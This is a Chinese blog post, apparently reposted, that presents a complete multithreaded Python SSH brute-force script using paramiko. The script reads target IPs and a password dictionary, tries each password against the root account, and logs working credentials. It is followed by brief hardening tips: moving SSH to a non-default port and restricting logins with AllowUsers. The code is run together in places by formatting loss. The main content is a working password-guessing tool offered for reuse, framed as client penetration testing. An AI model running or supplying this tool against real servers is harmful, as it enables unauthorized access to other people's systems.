python ssh 爆破_python多线程ssh爆破

本周需要给客户做渗透测试,扫描器中发现客户存在SSH弱口令,于是在网上找个一个SSH爆破的脚本,顺便改了一下,测试,虽然没成功~

程序目录如下:

|--ssh.scan.py

|--/log:

sshd

|--/dict:

ip

password

下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h

#!/usr/bin/python python#-*- coding: utf-8 -*-

importparamiko,threading,sys,time,osclassSSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):

threading.Thread.__init__(self)

self.ip=ip

self.port=port

self.dict=dic

self.timeout=timeout

self.LogFile=LogFiledefrun(self):print("Start try ssh => %s" %self.ip)

username= "root"

try:

password= open(self.dict).read().split('\n')except:print("Open dict file `%s` error" %self.dict)

exit(1)for pwd inpassword:try:

ssh=paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("\nIP => %s, Login %s => %s \n" %(self.ip, username, pwd))

open(self.LogFile,"a").write("[ %s ] IP => %s, port => %d, %s => %s \n" %(time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))break

except:print("IP => %s, Error %s => %s" %(self.ip, username, pwd))pass

defViolenceSSH(ip, port, timeout, dic, LogFile):

ssh_scan=SSHThread(ip, port, timeout, dic, LogFile)

ssh_scan.start()defmain(ipFile, dic, log):if ipFile == "-h":

help()try:

ipText= open(ipFile).read().split('\n')for ip inipText:if ip != '':

time.sleep(0.5)

threading.Thread(target= ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()except:print("Open IP list file `%s` error" %ipFile)

exit(1)defhelp():print("python ssh.scan.py 使用说明:\n\

python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")

exit(1)if __name__ == '__main__':

fpath= os.path.dirname(os.path.abspath('__file__'))

ipFile= sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"dic= sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"log= sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"

try:

os.system("clear")

main(ipFile, dic, log)exceptKeyboardInterrupt:

exit(1)

需要的内容自己修改就好了

防御:

怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:

1.修改iptables

首先要过防火墙,修改防火墙规则:

/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT

保存规则:

service iptables save

重启防火墙:

service iptables restart

2.修改ssh配置文件

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak

cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

修改ssh端口:

vim /etc/ssh/sshd_config

在端口#Port 22下面增加Port 2333

vim /etc/ssh/ssh_config

在端口#Port 22下面增加Port 2333

重启ssh服务:

service sshd restart

3.其他修改

限制用户的SSH访问

假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加

vim /etc/ssh/sshd_config

修改下面一行:

AllowUsers xiaocao homeway

因为是给客户做渗透,具体的内容就不贴出来了。

字典可以是找弱口令字典,我自己是自己现做的一个字典。

原文:https://segmentfault.com/a/1190000002921905

你可能感兴趣的:(python,ssh,爆破)